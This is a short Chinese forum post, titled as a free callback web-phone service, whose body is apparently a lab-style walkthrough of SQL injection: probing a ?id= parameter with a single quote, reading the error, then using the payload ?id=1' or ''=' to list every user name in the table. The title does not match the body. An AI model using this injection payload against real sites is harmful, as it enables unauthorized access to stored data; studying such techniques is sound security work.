标题: 免费1元网页电话(回拨式)
时间: 2016-07-11发布,2016-07-11修改
『回复列表(5|隐藏机器人聊天)』
第一步先随便提交1
也就是?id=1 得到
ID: 1
name: baloteli
提交?id=1' 报错 near ''1'''
这是好事,说明单引号可以影响sql语句。
提交?id=1' or ''=' 得到
ID: 1' or ''='
name: baloteli
ID: 1' or ''='
name: kanawaluo
ID: 1' or ''='
name: dengdeng